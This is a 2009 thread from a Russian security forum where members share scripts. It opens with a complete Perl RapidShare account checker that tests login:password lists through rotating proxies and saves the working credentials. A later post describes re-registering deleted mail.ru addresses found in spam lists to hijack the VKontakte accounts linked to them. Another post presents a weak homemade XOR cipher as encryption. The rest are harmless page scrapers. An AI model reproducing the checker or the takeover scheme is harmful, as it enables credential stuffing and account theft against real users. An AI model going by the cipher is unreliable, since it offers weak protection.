ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

16.09.2009, 18:47
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
Писал когда то чекер/брутер акков рапиды
Код:
#!/usr/bin/perl
#RapidShare.com checker by Gaus
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
#################################################
my $threads_count = 1; # Кол-во потоков
my $file_accounts = 'accs.txt'; # Файл с акками
my $file_valid_accounts = 'valid.txt'; # Файл с валидными акками
my $delm_accounts = ';'; # Разделитель списка акков
my $proxy_file = 'proxy.txt'; # Файл с прокси
my $proxy_mode = 'OFF'; # Юзать прокси(ON/OFF)
#################################################
my @accs : shared = lf($file_accounts);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads_count;
$_->join for threads->list;
sub main
{
while(@accs)
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my ($login, $pass) = split $delm_accounts => shift @accs;
my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi",
["uselandingpage" => 1,
"login" => $login,
"password" => $pass])->code;
if($answ == 302)
{
wf($file_valid_accounts, "$login:$pass\n");
print "[ + ] $login:$pass\n";
}
else
{
print "[ - ] $login:$pass\n";
}
}
}
sub proxy
{
my $ua = shift;
my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
$ua->proxy('http' => "http://$ip:$port");
my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
print "[ + ] Current proxy: $ip:$port\n";
return 1;
}
else
{
print "[ - ] Error proxy: $ip:$port\n";
return 0;
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
|
|
|

17.09.2009, 02:26
|
|
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме: 991929
Репутация:
395
|
|
Я тут щас вспомнил одну штуку которую я юзал года 2 назад... это stdClass (уверен что многие даже не знают о его существовании). Это встроенный в php обьект (незнаю был ли он в php3 но в 4 версии был точно) он не поддерживает методов, но в нем очень удобно хранить любые данные и переменные. Если вы приверженец функцонального программирования stdClass избавит вас от проблемы области видимости переменных (аля global $a,$b,$c.....$z; блин не работает ааа!!! забыл $z1 прописать...)
PHP код:
$obj = new StdClass;
$obj->a="Hay";
$obj->b=array("a","b","c");
$obj->x=1;
|
|
|

17.09.2009, 02:58
|
|
Moderator - Level 7
Регистрация: 04.02.2007
Сообщений: 554
Провел на форуме: 7518056
Репутация:
1089
|
|
так все в бед попадают (и кроме того в файл бед пишеться только знак @ т е ни логина ни домена)))
я конечно не доктор но прежде чем сохранить в этой строчке
fwrite($good, $login . "@" . $domain . "\n")
переменные обьявить нужно))), короче я так понял что еще три строчки и код будет такой-же корявый как и мой))))) (единственное мой рабочий)
а курл я использовал потому что по задумке после проверки те номера которые собирал в гууд должны были региться (авторегер) (сами понимаете что прочекав спам базу в ней обязательно найдуться мыла которые майл удалил а на этих мылах очень часто висят акки вконтакта)))
Последний раз редактировалось Kusto; 17.09.2009 в 03:16..
|
|
|

17.09.2009, 20:57
|
|
Новичок
Регистрация: 05.08.2009
Сообщений: 7
Провел на форуме: 307952
Репутация:
2
|
|
есть скрипт на сбор id групп вконтакте?
|
|
|

17.09.2009, 21:12
|
|
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме: 1734541
Репутация:
214
|
|
простой класс шифрования строки, думаю будет полезен новичкам
PHP код:
class Crypter{
var $key;
function Crypter($clave){
$this->key = $clave;
}
function setKey($clave){
$this->key = $clave;
}
function keyED($txt) {
$encrypt_key = md5($this->key);
$ctr=0;
$tmp = "";
for ($i=0;$i<strlen($txt);$i++) {
if ($ctr==strlen($encrypt_key)) $ctr=0;
$tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1);
$ctr++;
}
return $tmp;
}
function encrypt($txt){
//srand((double)microtime()*1000000);
$encrypt_key = md5($this->key);
$ctr=0;
$tmp = "";
for ($i=0;$i<strlen($txt);$i++){
if ($ctr==strlen($encrypt_key)) $ctr=0;
$tmp.= substr($encrypt_key,$ctr,1) .
(substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1));
$ctr++;
}
return base64_encode($this->keyED($tmp));
}
function decrypt($txt) {
$txt = $this->keyED(base64_decode($txt));
$tmp = "";
for ($i=0;$i<strlen($txt);$i++){
$md5 = substr($txt,$i,1);
$i++;
$tmp.= (substr($txt,$i,1) ^ $md5);
}
return $tmp;
}
}
Далее вызываем класс и определяем ключ для нашего шифрования
PHP код:
$crypt= new Crypter('ТУТ ПИШЕМ КЛЮЧ');
Например
$crypt= new Crypter('anti4at');
чтобы зашифровать строку
PHP код:
$str='password'; // строка которую надо зашифровать
$crp=$crypt->encrypt($str);
в переменной crp лежит зашифрованая строка password
чтобы расшифровать
PHP код:
$decrp=$crypt->decrypt($crp);
|
|
|

24.09.2009, 23:18
|
|
Познающий
Регистрация: 08.08.2009
Сообщений: 32
Провел на форуме: 651330
Репутация:
11
|
|
Взял пару спс
|
|
|

25.09.2009, 19:02
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 262
Провел на форуме: 373836
Репутация:
53
|
|
PHP код:
<?php
$page = isset($_GET['dom']) ? $_GET['dom'] : '';
$s = file_get_contents('http://wtools.biz/whois/?domain='.$page.'');
$matches = explode('<p><b>', $s);
$matches = explode('Что', $matches[1]);
echo $matches[0];
// waketwo.ru
// xyuha.ru
?>
Незнаю даже как назвать, но скрипт типа граббер whois сервиса...
Для просмотра инфы о домене нужна зайти на скрипт.php ?dom=ДОМЕН КОТОРЫЙ ХАТИМ ПРОСМОТРЕТЬ
P.S. Скрипт писал под ICQ бота, поэтому нету полей ввода и т.д.
|
|
|

25.09.2009, 19:04
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 262
Провел на форуме: 373836
Репутация:
53
|
|
PHP код:
<?php
// Автор: wake2(cren)
// ICQ: 170-6-177
// БЛОГ: http://waketwo.ru/
// ВАРЕЗ ПОРТАЛ: http://xyuha.ru/
$www = rand(1, 404621);
$fp = file_get_contents('http://bash.org.ru/quote/'.$www.'');
$matches = explode('<div>', $fp);
$matches = explode('</div>', $matches[1]);
echo $matches[0];
?>
Выводит рандомную цитату с баш.орг.ру
|
|
|

25.09.2009, 19:10
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 262
Провел на форуме: 373836
Репутация:
53
|
|
PHP код:
<?php
// Автор: wake2(cren)
// ICQ: 170-6-177
$r = rand(1, 4626);
$fp = file_get_contents('http://nya.sh/post/'.$r.'');
$matches = explode('</i></div>', $fp);
$matches = explode('</div>', $matches[1]);
echo $matches[0];
?>
Скрипт выводит рандомную цитату с НЯШ'a (nya.sh)
Последний раз редактировалось cren; 25.09.2009 в 23:02..
|
|
|

25.09.2009, 20:17
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Я просто в шоке 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|